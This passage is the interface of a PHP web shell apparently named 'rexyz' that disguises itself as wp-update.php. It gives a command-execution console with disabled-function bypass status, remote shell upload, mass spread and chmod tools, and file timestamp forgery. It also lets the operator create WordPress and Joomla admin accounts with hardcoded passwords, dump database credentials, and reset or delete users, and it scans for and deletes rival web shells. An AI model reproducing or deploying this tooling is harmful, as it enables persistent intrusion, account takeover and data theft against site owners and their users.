            <button type="button" class="btn btn-cyan">🗂️ Deep Scan</button>
        </a>
        <form method="POST" style="display:inline">
            <button type="submit" name="new_php" class="btn btn-cyan">🐘 New PHP Files</button>
        </form>
        <button type="button" class="btn btn-pink" onclick="document.getElementById('masschmod').classList.toggle('hiddenf')">🌶️ Mass Chmod</button>
        <button type="button" class="btn btn-orange" onclick="document.getElementById('remoteup').classList.toggle('hiddenf')">🚀 Remote Upload</button>
        <button type="button" class="btn btn-orange" onclick="document.getElementById('massspread').classList.toggle('hiddenf')">💥 Mass Spread</button>
    </div>
    <form method="GET" class="scanform" style="margin-bottom:10px">
        <input type="hidden" name="root" value="<?php echo htmlspecialchars($root); ?>">
        <input type="hidden" name="scan" value="webshell">
        <input type="text" name="dir" value="<?php echo htmlspecialchars($root); ?>" placeholder="Scan directory path...">
        <label class="checkbox"><input type="checkbox" name="norecursive" <?php if(isset($_GET['norecursive'])) echo 'checked'; ?>> No-recursive</label>
        <button type="submit" class="btn btn-gold">🔍 SCAN</button>
    </form>
    <div class="btns" style="margin-bottom:4px">
        <a class="btn btn-dark" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=/">Scan Root /</a>
        <a class="btn btn-dark" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($root); ?>">Scan Current</a>
        <a class="btn btn-dark" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=<?php echo urlencode('/var/www/html'); ?>">/var/www/html</a>
        <a class="btn btn-dark" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=<?php echo urlencode('/home'); ?>">/home</a>
        <a class="btn btn-dark" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=<?php echo urlencode('/tmp'); ?>">/tmp</a>
    </div>
    <div class="scanlegend">
        <span><b>WSO</b>, <b>b374k</b>, <b>c99</b>, <b>r57</b>, <b>IndoXploit</b>,</span>
        <span><b>Generic Backdoor</b>, <b>Uploader</b>, <b>Mysql Backdoor</b>,</span>
        <span>+ <b>Dangerous Functions</b>. Silent: <?php echo $silent_mode ? '<b style="color:#52c41a">ON = Only HIGH/CRITICAL + RCE Verified</b>' : '<b style="color:#6a6d85">OFF = All Levels</b>'; ?></span>
    </div>

<div id="masschmod" class="inline-forms" style="display:none">
        <form method="POST">
            <h4>Mass Chmod</h4>
            <select name="chmod_mode">
                <option value="0777">0777 (rwxrwxrwx)</option>
                <option value="0755">0755 (rwxr-xr-x)</option>
                <option value="0644">0644 (rw-r--r--)</option>
                <option value="0600">0600 (rw-------)</option>
                <option value="0444">0444 (r--r--r--)</option>
            </select>
            <label class="checkbox"><input type="checkbox" name="chmod_recursive" checked> Recursive</label><br>
            <button type="submit" name="mass_chmod" class="btn btn-pink" style="margin-top:6px">Execute</button>
        </form>
    </div>

<div id="remoteup" class="inline-forms" style="display:none">
        <form method="POST">
            <h4>Remote Upload (URL)</h4>
            <input type="text" name="remote_url" placeholder="https://.../shell.php">
            <button type="submit" name="remote_upload" class="btn btn-orange">Fetch & Save</button>
        </form>
    </div>

<div id="massspread" class="inline-forms" style="display:none">
        <form method="POST" onsubmit="alert('Mass Spread triggered — custom payload logic goes here');return true;">
            <h4>Mass Spread (Template)</h4>
            <input type="text" placeholder="Spread pattern / payload name">
            <button type="button" class="btn btn-orange" onclick="alert('Configure mass spread payload')">Run Spread</button>
        </form>
    </div>
</div>

<div class="card">
    <div class="card-h">
        <div class="ct" style="text-transform:none;letter-spacing:0;font-size:13px;color:#e8ecf5">
            🧩 CMS MODULES
        </div>
        <div style="font-size:11px;color:#6a6d85">
            Auto-detect: <b style="color:<?php echo $cms_found['wordpress']?'#52c41a':'#ff7875' ?>">WordPress</b>
            · <b style="color:<?php echo $cms_found['joomla']?'#52c41a':'#ff7875' ?>">Joomla</b>
        </div>
    </div>

<div class="cms-tabs">
        <?php $wp_active = (!$cms_active && $cms_found['wordpress']) || $cms_active==='wordpress'; ?>
        <?php if ($cms_found['wordpress']): ?>
            <a href="<?php echo $self; ?>?cms=wordpress&root=<?php echo urlencode($root); ?>">
                <div class="cms-tab <?php echo $wp_active ? 'active' : ''; ?>">
                    <span class="stat-dot <?php echo $wp_conn ? 'ok' : ''; ?>"></span>
                    🔵 WordPress
                </div>
            </a>
        <?php endif; ?>
        <?php if ($cms_found['joomla']): ?>
            <a href="<?php echo $self; ?>?cms=joomla&root=<?php echo urlencode($root); ?>">
                <div class="cms-tab <?php echo $cms_active==='joomla' ? 'active' : ($wp_active ? '' : 'active'); ?>">
                    <span class="stat-dot <?php echo $joomla_conn ? 'ok' : ''; ?>"></span>
                    🟠 Joomla
                </div>
            </a>
        <?php endif; ?>
        <?php if (!$cms_found['wordpress'] && !$cms_found['joomla']): ?>
            <div style="color:#ff9c6e;padding:8px 4px;font-size:12.5px">
                ⚠️ Tidak ada CMS terdeteksi di path ini. Upload folder wp-config.php / configuration.php CMS yang diinginkan.
            </div>
        <?php endif; ?>
    </div>

<?php if ($cms_found['wordpress'] && ($wp_active)): ?>
    <div>
        <div class="cms-infobox">
            <div><span class="lbl">CMS Path:</span> <span class="val"><?php echo htmlspecialchars(dirname($cms_found['wordpress'])); ?></span></div>
            <div><span class="lbl">DB Name:</span> <span class="val"><?php echo htmlspecialchars($wp_cfg['name']); ?></span></div>
            <div><span class="lbl">DB User:</span> <span class="val"><?php echo htmlspecialchars($wp_cfg['user']); ?></span></div>
            <div><span class="lbl">DB Host:</span> <span class="val"><?php echo htmlspecialchars($wp_cfg['host']); ?></span></div>
            <div><span class="lbl">Prefix:</span> <span class="val"><?php echo htmlspecialchars($wp_cfg['prefix']); ?></span></div>
            <div><span class="lbl">Connection:</span> <span class="val" style="color:<?php echo $wp_conn ? '#52c41a' : '#ff7875' ?>"><?php echo $wp_conn ? '✅ CONNECTED' : '❌ FAILED'; ?></span></div>
        </div>

<div class="cms-actions">
            <a href="<?php echo $self; ?>?cms=wordpress&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-blue">👥 users</button></a>
            <button type="button" class="btn btn-cyan" onclick="document.getElementById('wpadd').classList.toggle('hiddenf');if(!document.getElementById('wpadd').style.display||document.getElementById('wpadd').style.display==='none')document.getElementById('wpadd').style.display='block';else document.getElementById('wpadd').style.display='none';">➕ add admin</button>
            <a href="<?php echo $self; ?>?cms=wordpress&wp_action=configuration&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-default">⚙️ configuration</button></a>
            <button type="button" class="btn btn-purple" onclick="alert('WordPress: plugins/themes/placeholder module')">🔌 plugins</button>
            <button type="button" class="btn btn-orange" onclick="alert('WordPress: options placeholder — update siteurl/home')">🗃️ options</button>
            <a href="https://www.adminer.org/latest.php" target="_blank" onclick="this.href='data:text/html;charset=UTF-8,'+encodeURIComponent('<?php echo base64_encode('<?php if($joomla_cfg||$wp_cfg){@include"https://www.adminer.org/latest-mysql-en.php";}'); ?>')"><button type="button" class="btn btn-green">💾 get adminer</button></a>
        </div>

<?php if ($wp_config_content): ?>
            <div class="cms-config"><?php echo htmlspecialchars($wp_config_content); ?></div>
        <?php endif; ?>

<div id="wpadd" class="add-admin-form" style="display:none">
            <h4>➕ Create New WordPress Admin</h4>
            <form method="POST">
                <div class="grid4">
                    <input type="text" name="wp_u_login" placeholder="Username" value="rexyz_admin">
                    <input type="text" name="wp_u_email" placeholder="Email" value="rexyz@localhost.local">
                    <input type="text" name="wp_u_pass" placeholder="Password" value="Rexyz@1337">
                    <input type="text" name="wp_u_name" placeholder="Display Name" value="REXYZ Administrator">
                </div>
                <button type="submit" name="wp_add_user" class="btn btn-blue">🚀 CREATE ADMIN</button>
            </form>
        </div>

<?php if ($wp_conn && is_array($wp_users)): ?>
        <div class="tbl-wrap">
            <div style="font-size:11px;color:#6a6d85;padding:10px 14px;background:#12132a;border-bottom:1px solid rgba(120,120,220,.2)">
                user list · <b style="color:#e8ecf5"><?php echo count($wp_users); ?></b> accounts
            </div>
            <table class="fmt">
                <thead>
                    <tr>
                        <th>ID</th><th>user</th><th>mail</th><th>name</th><th>role</th><th>registered</th><th>reset</th><th>del</th>
                    </tr>
                </thead>
                <tbody>
                <?php foreach ($wp_users as $u):
                    $caps = $u['caps'] ?? '';
                    $is_admin = stripos($caps,'administrator')!==false || stripos($caps,'s:13:"administrator"')!==false || ($u['user_status']==='10');
                    $role_class = $is_admin ? 'admin' : 'user';
                    $role_label = $is_admin ? 'ADMIN' : 'USER';
                ?>
                <tr>
                    <td style="color:#aab3c5;font-family:monospace"><?php echo $u['ID']; ?></td>
                    <td>
                        <div style="font-weight:600;color:#e8ecf5"><?php echo htmlspecialchars($u['user_login']); ?></div>
                        <span class="rolebadge <?php echo $role_class; ?>"><?php echo $role_label; ?></span>
                    </td>
                    <td style="color:#76c7ff;font-size:12px"><?php echo htmlspecialchars($u['user_email']); ?></td>
                    <td style="color:#e8ecf5;font-size:12px"><?php echo htmlspecialchars($u['display_name']); ?></td>
                    <td style="font-size:10px;color:#6a6d85;font-family:monospace;max-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap" title="<?php echo htmlspecialchars($caps); ?>">
                        <?php echo $is_admin ? 'administrator' : (strlen($caps)>50?substr(htmlspecialchars($caps),0,50).'...':htmlspecialchars($caps)); ?>
                    </td>
                    <td style="font-size:11px;color:#868ca0"><?php echo substr($u['user_registered'] ?? '-', 0, 16); ?></td>
                    <td>
                        <form method="POST" class="cmspassform">
                            <input type="hidden" name="wp_reset_user" value="<?php echo $u['ID']; ?>">
                            <input type="text" name="wp_new_pass" placeholder="new pass" value="Rexyz@1337">
                            <button type="submit">reset</button>
                        </form>
                    </td>
                    <td>
                        <form method="POST" onsubmit="return confirm('DELETE WordPress user ID <?php echo $u['ID']; ?> (<?php echo htmlspecialchars($u['user_login']); ?>)?')">
                            <input type="hidden" name="wp_del_user" value="<?php echo $u['ID']; ?>">
                            <button type="submit" class="cmsdelbtn">del</button>
                        </form>
                    </td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>
    </div>
    <?php endif; ?>

<?php if ($cms_found['joomla'] && ($cms_active==='joomla' || !$wp_active)): ?>
    <div>
        <div class="cms-infobox">
            <div><span class="lbl">CMS Path:</span> <span class="val"><?php echo htmlspecialchars(dirname($cms_found['joomla'])); ?></span></div>
            <div><span class="lbl">DB Name:</span> <span class="val"><?php echo htmlspecialchars($joomla_cfg['name']); ?></span></div>
            <div><span class="lbl">DB User:</span> <span class="val"><?php echo htmlspecialchars($joomla_cfg['user']); ?></span></div>
            <div><span class="lbl">DB Host:</span> <span class="val"><?php echo htmlspecialchars($joomla_cfg['host']); ?></span></div>
            <div><span class="lbl">Prefix:</span> <span class="val"><?php echo htmlspecialchars($joomla_cfg['prefix']); ?></span></div>
            <div><span class="lbl">Driver:</span> <span class="val"><?php echo htmlspecialchars($joomla_cfg['driver']); ?></span></div>
            <div><span class="lbl">Connection:</span> <span class="val" style="color:<?php echo $joomla_conn ? '#52c41a' : '#ff7875' ?>"><?php echo $joomla_conn ? '✅ CONNECTED' : '❌ FAILED'; ?></span></div>
        </div>

<div class="cms-actions">
            <a href="<?php echo $self; ?>?cms=joomla&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-blue">👥 users</button></a>
            <button type="button" class="btn btn-cyan" onclick="document.getElementById('jadd').style.display=document.getElementById('jadd').style.display==='block'?'none':'block';">➕ add admin</button>
            <a href="<?php echo $self; ?>?cms=joomla&j_action=configuration&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-default">⚙️ configuration</button></a>
            <a href="<?php echo $self; ?>?cms=joomla&j_action=categories&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-purple">📁 categories</button></a>
            <a href="<?php echo $self; ?>?cms=joomla&j_action=articles&root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-orange">📝 articles</button></a>
            <a href="https://www.adminer.org/latest.php" target="_blank"><button type="button" class="btn btn-green">💾 get adminer</button></a>
        </div>

<?php if ($joomla_config_content): ?>
            <div class="cms-config"><?php echo htmlspecialchars($joomla_config_content); ?></div>
        <?php endif; ?>

<div id="jadd" class="add-admin-form" style="display:none">
            <h4>➕ Create New Joomla Super Admin</h4>
            <form method="POST">
                <div class="grid4">
                    <input type="text" name="j_u_name" placeholder="Full Name" value="REXYZ Administrator">
                    <input type="text" name="j_u_login" placeholder="Username" value="rexyz">
                    <input type="text" name="j_u_email" placeholder="Email" value="rexyz@localhost.local">
                    <input type="text" name="j_u_pass" placeholder="Password" value="Rexyz@1337">
                </div>
                <button type="submit" name="j_add_user" class="btn btn-orange">🚀 CREATE SUPER ADMIN</button>
            </form>
        </div>

<?php if (is_array($joomla_cats)): ?>
        <div class="tbl-wrap">
            <div style="font-size:11px;color:#6a6d85;padding:10px 14px;background:#12132a;border-bottom:1px solid rgba(120,120,220,.2)">
                categories list · <b style="color:#e8ecf5"><?php echo count($joomla_cats); ?></b> items
            </div>
            <table class="fmt">
                <thead><tr><th>ID</th><th>Title</th><th>Alias</th><th>State</th><th>Access</th><th>Created</th><th>Hits</th></tr></thead>
                <tbody>
                <?php foreach ($joomla_cats as $c): ?>
                <tr>
                    <td style="color:#aab3c5;font-family:monospace"><?php echo $c['id']; ?></td>
                    <td style="color:#e8ecf5;font-weight:600"><?php echo htmlspecialchars($c['title']); ?></td>
                    <td style="color:#76c7ff;font-size:12px"><?php echo htmlspecialchars($c['alias']); ?></td>
                    <td>
                        <span class="rolebadge <?php echo $c['state']==1 ? 'admin' : 'blocked'; ?>">
                            <?php echo $c['state']==1 ? 'PUBLISHED' : 'UNPUBLISHED'; ?>
                        </span>
                    </td>
                    <td style="color:#ffa940;font-size:11px"><?php echo $c['access']; ?></td>
                    <td style="font-size:11px;color:#868ca0"><?php echo substr($c['created_time'] ?? '-', 0, 16); ?></td>
                    <td style="color:#e8ecf5"><?php echo $c['hits']; ?></td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>

<?php if (is_array($joomla_articles)): ?>
        <div class="tbl-wrap">
            <div style="font-size:11px;color:#6a6d85;padding:10px 14px;background:#12132a;border-bottom:1px solid rgba(120,120,220,.2)">
                articles list · <b style="color:#e8ecf5"><?php echo count($joomla_articles); ?></b> items
            </div>
            <table class="fmt">
                <thead><tr><th>ID</th><th>Title</th><th>Alias</th><th>State</th><th>CatID</th><th>Created</th><th>Access</th><th>Hits</th></tr></thead>
                <tbody>
                <?php foreach ($joomla_articles as $a): ?>
                <tr>
                    <td style="color:#aab3c5;font-family:monospace"><?php echo $a['id']; ?></td>
                    <td style="color:#e8ecf5;font-weight:600"><?php echo htmlspecialchars($a['title']); ?></td>
                    <td style="color:#76c7ff;font-size:12px"><?php echo htmlspecialchars($a['alias']); ?></td>
                    <td>
                        <span class="rolebadge <?php echo $a['state']==1 ? 'admin' : 'blocked'; ?>">
                            <?php echo $a['state']==1 ? 'PUBLISHED' : 'UNPUBLISHED'; ?>
                        </span>
                    </td>
                    <td style="color:#ffa940;font-size:11px"><?php echo $a['catid']; ?></td>
                    <td style="font-size:11px;color:#868ca0"><?php echo substr($a['created'] ?? '-', 0, 16); ?></td>
                    <td style="color:#b37feb;font-size:11px"><?php echo $a['access']; ?></td>
                    <td style="color:#e8ecf5"><?php echo $a['hits']; ?></td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>

<?php if ($joomla_conn && is_array($joomla_users) && !$joomla_cats && !$joomla_articles): ?>
        <div class="tbl-wrap">
            <div style="font-size:11px;color:#6a6d85;padding:10px 14px;background:#12132a;border-bottom:1px solid rgba(120,120,220,.2)">
                user list · <b style="color:#e8ecf5"><?php echo count($joomla_users); ?></b> accounts
            </div>
            <table class="fmt">
                <thead>
                    <tr>
                        <th>ID</th><th>user</th><th>mail</th><th>name</th><th>block</th><th>last login</th><th>reset</th><th>del</th>
                    </tr>
                </thead>
                <tbody>
                <?php foreach ($joomla_users as $u):
                    $is_blocked = $u['block'] == 1;
                ?>
                <tr>
                    <td style="color:#aab3c5;font-family:monospace"><?php echo $u['id']; ?></td>
                    <td>
                        <div style="font-weight:600;color:#e8ecf5"><?php echo htmlspecialchars($u['username']); ?></div>
                        <?php if ($is_blocked): ?><span class="rolebadge blocked">BLOCKED</span><?php endif; ?>
                    </td>
                    <td style="color:#76c7ff;font-size:12px"><?php echo htmlspecialchars($u['email']); ?></td>
                    <td style="color:#e8ecf5;font-size:12px"><?php echo htmlspecialchars($u['name']); ?></td>
                    <td>
                        <span class="<?php echo $is_blocked ? 'block-yes' : 'block-no'; ?>">
                            <?php echo $is_blocked ? 'block' : 'ok'; ?>
                        </span>
                        <form method="POST" style="display:inline" onsubmit="return confirm('Toggle block user <?php echo $u['id']; ?>?')">
                            <input type="hidden" name="j_toggle_block" value="<?php echo $u['id']; ?>">
                            <button type="submit" class="cmsblockbtn"><?php echo $is_blocked ? 'unbl' : 'bl'; ?></button>
                        </form>
                    </td>
                    <td style="font-size:11px;color:#868ca0"><?php echo substr($u['lastvisitDate'] ?? 'never', 0, 19); ?></td>
                    <td>
                        <form method="POST" class="cmspassform">
                            <input type="hidden" name="j_reset_user" value="<?php echo $u['id']; ?>">
                            <input type="text" name="j_new_pass" placeholder="new pass" value="Rexyz@1337">
                            <button type="submit">reset</button>
                        </form>
                    </td>
                    <td>
                        <form method="POST" onsubmit="return confirm('DELETE Joomla user ID <?php echo $u['id']; ?> (<?php echo htmlspecialchars($u['username']); ?>)?')">
                            <input type="hidden" name="j_del_user" value="<?php echo $u['id']; ?>">
                            <button type="submit" class="cmsdelbtn">del</button>
                        </form>
                    </td>
                </tr>
                <?php endforeach; ?>
                </tbody>
            </table>
        </div>
        <?php endif; ?>
    </div>
    <?php endif; ?>

<div class="card">
    <div class="card-h"><div class="ct">TOOLS</div></div>
    <div class="btns">
        <button type="button" class="btn btn-green" onclick="alert('GSSocket module placeholder')">🪀 GSSocket</button>
        <button type="button" class="btn btn-purple" onclick="alert('UAPI module placeholder')">🗄️ UAPI</button>
        <button type="button" class="btn btn-orange" onclick="alert('FTP Manager placeholder')">📡 FTP Manager</button>
        <button type="button" class="btn btn-pink" onclick="alert('Process Manager placeholder')">🛠️ Process</button>
    </div>
</div>

<div class="cmdbg">
    <form method="POST" class="cmdrow">
        <div class="cmdprompt"><span class="u"><?php echo htmlspecialchars($auth_user); ?></span>@<span class="h">rexyz</span>:<span style="color:#76c7ff">$</span></div>
        <input type="text" name="x" placeholder="Enter command..."
               value="<?php echo htmlspecialchars($_POST['x'] ?? ''); ?>"
               spellcheck="false" autocomplete="off">
        <button type="submit" name="x_submit" class="btn btn-gold">▶ Run</button>
        <button type="button" class="btn btn-dark" onclick="document.querySelectorAll('.cmdsample').forEach(s=>s.style.display=s.style.display==='none'?'':'none')">Normal</button>
    </form>
    <div class="cmdmeta">
        <span>Exec: <b class="<?php echo substr_count(disabled_functions_status(),'/')===1 && strpos(disabled_functions_status(),'6/')===0 ? 'ok' : ''; ?>"><?php echo disabled_functions_status(); ?> Available</b></span>
        <span>Bypass: <b><?php echo htmlspecialchars(bypass_status()); ?></b></span>
        <span>Disabled: <b><?php echo @ini_get('disable_functions') ? 'Yes' : 'No'; ?></b></span>
    </div>
    <?php if (isset($cmd_output) && $cmd_output !== ''): ?>
        <div class="cmdout"><?php echo htmlspecialchars($cmd_output); ?></div>
    <?php endif; ?>
</div>

<?php if ($scan_results !== null): ?>
<div class="card">
    <div class="card-h">
        <div class="ct" style="text-transform:none;letter-spacing:0;font-size:13px;color:#e8ecf5">
            ⚠ SCAN RESULTS — <span style="color:#f5d442;font-weight:800"><?php echo count($scan_results); ?></span> files flagged
        </div>
        <?php if ($silent_mode): ?>
            <span style="font-size:11px;color:#52c41a;font-weight:600">🔇 SILENT MODE ACTIVE</span>
        <?php endif; ?>
    </div>
    <?php if (count($scan_results) === 0): ?>
        <div class="msg ok" style="margin-bottom:0">
            ✅ Clean — No malicious signatures detected<?php echo $silent_mode ? ' (Silent Mode ON — disable to view LOW/MEDIUM hits)' : ''; ?>
        </div>
    <?php else: ?>
    <div style="display:flex;gap:10px;flex-wrap:wrap;align-items:center;padding:12px 16px;margin-bottom:4px;background:#141425;border:1px solid rgba(120,120,220,.18);border-radius:10px;margin-top:8px">
        <span style="font-size:11.5px;color:#8899bb;font-weight:700;letter-spacing:.5px">SELECTION:</span>
        <button type="button" class="btn btn-dark" onclick="rexyzSelAll(true)" style="padding:6px 12px;font-size:12px">☑ Select All</button>
        <button type="button" class="btn btn-dark" onclick="rexyzSelAll(false)" style="padding:6px 12px;font-size:12px">☐ Clear</button>
        <span id="selCount" style="font-size:12px;color:#aab3c5;margin-left:6px">0 selected</span>
        <div style="flex:1"></div>
        <button type="button" class="btn btn-red" style="padding:8px 16px;font-size:12px" onclick="rexyzBulkDelete()">🗑️ DELETE SELECTED</button>
    </div>
    <form method="POST" id="bulkDeleteForm">
        <input type="hidden" name="bulk_delete_shell" value="1">
        <input type="hidden" name="root" value="<?php echo htmlspecialchars($root); ?>">
        <input type="hidden" name="scan_redir" value="<?php echo isset($_GET['dir']) ? urlencode($_GET['dir']) : urlencode($root); ?>">
    <div class="tbl-wrap">
    <table class="fmt">
        <thead>
            <tr>
                <th style="width:36px;text-align:center"><input type="checkbox" id="selAllHead" onchange="rexyzSelAll(this.checked)"></th>
                <th>RISK</th>
                <th>FILE PATH</th>
                <th>SIZE</th>
                <th>MODIFIED</th>
                <th style="text-align:center">SIG</th>
                <th>DANGEROUS FUNC</th>
                <th>OPERATION</th>
            </tr>
        </thead>
        <tbody>
        <?php foreach ($scan_results as $r): ?>
            <?php $is_self = __is_rexyz_self($r['path']); ?>
            <tr>
                <td style="text-align:center">
                    <?php if (!$is_self): ?>
                        <input type="checkbox" class="shellCb" name="shell_paths[]" value="<?php echo htmlspecialchars($r['path']); ?>" onchange="rexyzUpdateSelCount()">
                    <?php else: ?>
                        <span style="color:#52c41a;font-size:13px;font-weight:700" title="Self-protected — wp-update.php">🛡️</span>
                    <?php endif; ?>
                </td>
                <td>
                    <span class="risk" style="color:<?php echo risk_color($r['risk']); ?>;background:<?php echo risk_bg($r['risk']); ?>;border:1px solid <?php echo risk_color($r['risk']); ?>55">
                        <?php echo $r['risk']; ?>
                    </span>
                </td>
                <td>
                    <div class="fname" style="font-family:'SF Mono',Consolas,monospace;font-size:12.5px">
                        <span class="ic" style="color:#ff7875">⚠️</span>
                        <span style="color:#e8ecf5"><?php echo htmlspecialchars($r['path']); ?></span>
                    </div>
                    <?php if (!empty($r['rce_verified'])): ?>
                        <div class="rceproof">RCE VERIFIED: <?php echo htmlspecialchars($r['rce_verified']); ?></div>
                    <?php endif; ?>
                    <div class="matches">
                        <?php foreach ($r['matches'] as $type => $sigs): ?>
                            <div><span class="grp"><?php echo htmlspecialchars($type); ?>:</span> <?php echo implode(', ', $sigs); ?></div>
                        <?php endforeach; ?>
                    </div>
                </td>
                <td class="t-size"><?php echo human_size($r['size']); ?></td>
                <td style="color:#aab3c5;font-size:12px"><?php echo date('Y-m-d H:i', $r['mtime']); ?></td>
                <td style="text-align:center"><b style="color:#ffc107;font-size:14px"><?php echo $r['match_count']; ?></b></td>
                <td style="font-size:11.5px;color:#ffa940;max-width:200px">
                    <?php echo $r['dangerous_funcs'] ? implode(', ', $r['dangerous_funcs']) : '<span style="color:#4a4d68">—</span>'; ?>
                </td>
                <td>
                    <div class="rowops">
                        <a class="oplink dl" href="<?php echo $self; ?>?action=download&file=<?php echo urlencode($r['path']); ?>&root=<?php echo urlencode($root); ?>">DL</a>
                        <a class="oplink ed" href="<?php echo $self; ?>?edit=<?php echo urlencode($r['path']); ?>&root=<?php echo urlencode($root); ?>">EDIT</a>
                        <a class="oplink dt" href="javascript:void(0)"
                           onclick="rexyzOpenFtime('<?php echo htmlspecialchars($r['path'],ENT_QUOTES); ?>','<?php echo !empty($r['mtime']) ? date('Y-m-d\\TH:i', $r['mtime']) : ''; ?>','<?php echo !empty($r['mtime']) ? date('Y-m-d\\TH:i', $r['mtime']) : ''; ?>')">DATE</a>
                        <?php if (!$is_self): ?>
                            <a class="oplink rm" href="<?php echo $self; ?>?scan=webshell&dir=<?php echo urlencode(isset($_GET['dir'])?$_GET['dir']:$root); ?>&root=<?php echo urlencode($root); ?>&delete_shell=1&path=<?php echo urlencode($r['path']); ?>"
                               onclick="return confirm('DELETE malicious file:\n<?php echo htmlspecialchars($r['path']); ?>\n\nRisk: <?php echo $r['risk']; ?>\n\nAre you sure?')">DELETE</a>
                        <?php endif; ?>
                    </div>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>
    </div>
    </form>
    <script>
    (function(){
        window.rexyzSelAll = function(flag){
            var cbs = document.querySelectorAll('.shellCb');
            cbs.forEach(function(c){ c.checked = !!flag; });
            var h = document.getElementById('selAllHead');
            if(h) h.checked = !!flag;
            rexyzUpdateSelCount();
        };
        window.rexyzUpdateSelCount = function(){
            var c = document.querySelectorAll('.shellCb:checked').length;
            var el = document.getElementById('selCount');
            if(el) el.textContent = c + ' selected';
        };
        window.rexyzBulkDelete = function(){
            var c = document.querySelectorAll('.shellCb:checked').length;
            if(c === 0){ alert('No files selected. Check the boxes on the left.'); return; }
            if(!confirm('BULK DELETE ' + c + ' flagged malicious file(s)?\n\nThis action CANNOT be undone.\n(Self-protected files will be automatically skipped.)')) return;
            document.getElementById('bulkDeleteForm').submit();
        };
    })();
    </script>
    <?php endif; ?>
</div>
<?php endif; ?>

<?php if ($edit_file): ?>
<div class="card">
    <div class="card-h">
        <div class="ct" style="text-transform:none;letter-spacing:0;font-size:13px;color:#e8ecf5">
            ✏️ Editor
        </div>
    </div>
    <div class="ed-info">📄 <?php echo htmlspecialchars($edit_file); ?></div>
    <form method="POST">
        <input type="hidden" name="filepath" value="<?php echo htmlspecialchars($edit_file); ?>">
        <textarea name="filecontent" class="editor" spellcheck="false"><?php echo $edit_content; ?></textarea>
        <div class="ed-actions">
            <button type="submit" name="save_file" class="btn btn-gold">💾 SAVE CHANGES</button>
            <a href="<?php echo $self; ?>?root=<?php echo urlencode($root); ?>"><button type="button" class="btn btn-dark">Cancel</button></a>
        </div>
    </form>
</div>
<?php endif; ?>

<div class="card">
    <div class="card-h">
        <div class="ct" style="text-transform:none;letter-spacing:0;font-size:13px;color:#e8ecf5">
            📂 Directory Contents — <span style="color:#f5d442;font-weight:700"><?php echo count($dirs) + count($files_list); ?></span> items
        </div>
    </div>
    <div class="tbl-wrap">
    <table class="fmt">
        <thead>
            <tr>
                <th>NAME</th>
                <th>TYPE</th>
                <th>SIZE</th>
                <th>PERMISSION</th>
                <th>MODIFIED</th>
                <th>OPS</th>
            </tr>
        </thead>
        <tbody>
        <?php if ($root !== '/'): ?>
            <tr>
                <td colspan="6" style="padding:0;border:none">
                    <a href="<?php echo $self; ?>?root=<?php echo urlencode(dirname($root)); ?>" style="display:block;padding:11px 16px;background:rgba(245,212,66,.03);color:#76c7ff;font-weight:600">
                        ⬅️ .. / (Parent Directory)
                    </a>
                </td>
            </tr>
        <?php endif; ?>
        <?php foreach ($dirs as $d): $p = $root.'/'.$d; $perms = substr(sprintf('%o', @fileperms($p)), -4); $d_mtime = @filemtime($p); ?>
        <tr>
            <td>
                <a href="<?php echo $self; ?>?root=<?php echo urlencode($p); ?>">
                    <div class="fname folder">
                        <span class="ic">📁</span>
                        <span class="n"><?php echo htmlspecialchars($d); ?></span>
                    </div>
                </a>
            </td>
            <td class="t-type">Folder</td>
            <td class="t-size">—</td>
            <td class="t-perm"><?php echo $perms; ?></td>
            <td style="color:#aab3c5;font-size:12px"><?php echo $d_mtime ? date('Y-m-d H:i', $d_mtime) : '—'; ?></td>
            <td>
                <div class="rowops">
                    <a class="oplink sc" href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($p); ?>&dir=<?php echo urlencode($p); ?>">SCAN</a>
                    <a class="oplink dt" href="javascript:void(0)"
                       onclick="rexyzOpenFtime('<?php echo htmlspecialchars($p,ENT_QUOTES); ?>','<?php echo $d_mtime ? date('Y-m-d\\TH:i', $d_mtime) : ''; ?>','<?php echo $d_mtime ? date('Y-m-d\\TH:i', $d_mtime) : ''; ?>')">DATE</a>
                    <a class="oplink cm" href="<?php echo $self; ?>?action=chmod&file=<?php echo urlencode($p); ?>&mode=0777&root=<?php echo urlencode($root); ?>">777</a>
                    <a class="oplink rm" href="<?php echo $self; ?>?action=deldir&file=<?php echo urlencode($p); ?>&root=<?php echo urlencode($root); ?>"
                       onclick="return confirm('Delete folder and ALL contents:\n<?php echo htmlspecialchars($p); ?> ?')">DEL</a>
                </div>
            </td>
        </tr>
        <?php endforeach; ?>
        <?php foreach ($files_list as $f): $p = $root.'/'.$f; $perms = substr(sprintf('%o', @fileperms($p)), -4); $is_readonly = !is_writable($p); $f_mtime = @filemtime($p); $f_atime = @fileatime($p); ?>
        <tr>
            <td>
                <div class="fname">
                    <span class="ic"><?php echo type_icon($f, false); ?></span>
                    <span style="color:#e8ecf5"><?php echo htmlspecialchars($f); ?></span>
                </div>
            </td>
            <td class="t-type">File</td>
            <td class="t-size"><?php echo human_size(@filesize($p)); ?></td>
            <td class="t-perm <?php echo $is_readonly ? 'readonly' : ''; ?>"><?php echo $perms; ?><?php if ($is_readonly) echo ' 🔒'; ?></td>
            <td style="color:#aab3c5;font-size:12px"><?php echo $f_mtime ? date('Y-m-d H:i', $f_mtime) : '—'; ?></td>
            <td>
                <div class="rowops">
                    <a class="oplink dl" href="<?php echo $self; ?>?action=download&file=<?php echo urlencode($p); ?>&root=<?php echo urlencode($root); ?>">DL</a>
